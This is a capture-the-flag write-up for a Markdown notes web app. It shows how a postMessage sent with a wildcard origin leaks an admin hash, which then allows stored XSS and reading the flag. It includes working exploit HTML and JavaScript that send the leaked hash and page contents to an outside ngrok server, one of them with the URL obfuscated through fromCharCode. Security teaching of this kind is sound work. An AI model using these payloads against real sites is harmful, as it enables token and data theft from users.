MD Notes

postMessage information disclosure leads to stored XSS

Challenge

Description: Here's a nice web application to host your notes.

Author: yadhu#2142

10KB

md-notes.zip

archive

md-notes.zip

Solution

We are given a Markdown Editor, where we can save our notes. As usual, an admin bot visits the URLs that we submit.

We're interested in creating an XSS payload, so let's analyse how the application processes our Markdown.

Preview Function

Interestingly, the preview (right side) is an iframe of /demo.

<div class="col-md-6">
    <textarea id="input-area" class="form-control"></textarea>
</div>
<div class="col-md-6">
    <iframe id="frame-area" src="/demo" width="500" height="300"></iframe>
</div>

When clicking "Preview", a message is posted to the iframe. Note that the targetOrigin parameter is set to http://${document.location.host}/. This ensures that the message is only sent to the intended receiver.

preview.onclick = function() {
  console.log("Sending Preview..")
	frame.contentWindow.postMessage(textarea.value, `http://${document.location.host}/`); 
	return false;
}

In /demo, the message is received and processed. The data is POST-ed to the /api/filter endpoint, and the sanitized HTML is added to document.body.innerHTML.

let area = document.getElementById("safe")

window.addEventListener("message", (event) => {
  console.log("Previewing..")
	let raw = event.data

	fetch("/api/filter", {
		method: "POST",
		credentials: "include",
		body: JSON.stringify({
			raw: raw
		})
	})
    .then(resp => resp.json())
	.then(response => {
		console.log("Filtered")
		document.body.innerHTML = response.Sanitized
		window.parent.postMessage(response, "*"); 
	}); 
}, false);

Interestingly, in line 18, the response from the /api/filter endpoint is also posted to window.parent, with the targetOrigin parameter set to *. This means that any site can create an iframe of http://web.challenge.bi0s.in:5432/demo and receive the message, regardless of its origin.

Notice that the user's cookies are sent along with the POST request. If the /api/filter endpoint returns any sensitive, user-specific data based on the user cookies, we would be able to read it! If we analyze the server code for this endpoint, we would know that it indeed returns the hash of the user's token in the response.

func filterHandler(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)
	w.Header().Set("Content-Type", "application/json")
	var unsanitized Unsanitized

	err := json.Unmarshal(reqBody, &unsanitized)

	if err != nil {
        
		log.Println("Error decoding JSON. err = %s", err)
        fmt.Fprintf(w, "Error decoding JSON.")
		
    } else {
		var cookie, isset = r.Cookie("Token") 
		
		hash, token := createToken()

		sanitized_data := markdown.ToHTML([]byte(sanitize(unsanitized.Raw)), nil, nil)

		if isset == nil {
			if cookie.Value == CONFIG.admin_token {
				hash = CONFIG.admin_hash
				token = CONFIG.admin_token
			}
		} 
		
		cookie = &http.Cookie{Name: "Token", Value: token, HttpOnly: true, Path: "/api"}
		result := Sanitized{Sanitized: string(sanitized_data), Raw: unsanitized.Raw, Hash: hash}
		http.SetCookie(w, cookie)
		json.NewEncoder(w).Encode(result)
	}
}

Obtaining the Admin Hash

Now, we can craft a simple payload that loads /demo in an iframe, posts a message to trigger the /api/filter POST request in the context of the admin, and catches the response. We then make a callback to our exploit server, sending the admin's hash obtained from the response.

<script>
    function exploit(){
        document.getElementById("iframe").contentWindow.postMessage("test", "*")
    }
    
    window.addEventListener("message", (event) => {
        var img = new Image();
        img.src = "http://055c4d42189e.ngrok.io/?hash=" + event.data.Hash;
    }, false);
</script>
<iframe src="http://web.challenge.bi0s.in:5432/demo" id="iframe" onload="exploit();"></iframe>

We receive the admin's hash on our exploit server:

/?hash=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

However, the admin's hash is not sufficient to access the flag - we need to have access to the admin's token. This requires a CSRF to /api/flag, and due to the same-origin policy, we must still cause an XSS on the challenge server.

Create Function

Now that we have the admin's hash, creating a stored XSS payload is pretty simple. Notice that in the /api/create handler, the data is not sanitized if the admin's hash is used.

if createpost.Hash != CONFIG.admin_hash {
    id , _ := uuid.NewV4()
    bucket = id.String()
    data = string(markdown.ToHTML([]byte(sanitize(data)), nil, nil))
} else {
    data = string(markdown.ToHTML([]byte(data), nil, nil))
}

Thus, simply sending a POST request to /api/create with the admin's hash allows us to create a stored XSS payload.

We can simply craft a CSRF payload that fetches /api/flag and makes a callback to our exploit server with the page contents. Note that single and double quotes are still escaped, so fromCharCode() is used to avoid that.

<script>
    fetch(String.fromCharCode(47, 97, 112, 105, 47, 102, 108, 97, 103))
    .then(function(response) {return response.text();})
    .then(function (text) {
        var img = new Image();
        img.src = String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 48, 53, 53, 99, 52, 100, 52, 50, 49, 56, 57, 101, 46, 110, 103, 114, 111, 107, 46, 105, 111, 47, 63, 100, 97, 116, 97, 61) + encodeURIComponent(text);
    })
</script>

Receiving the /api/flag contents:

URL-decode the output, and we get the flag: inctf{8d739_csrf_is_fun_3d587ec9}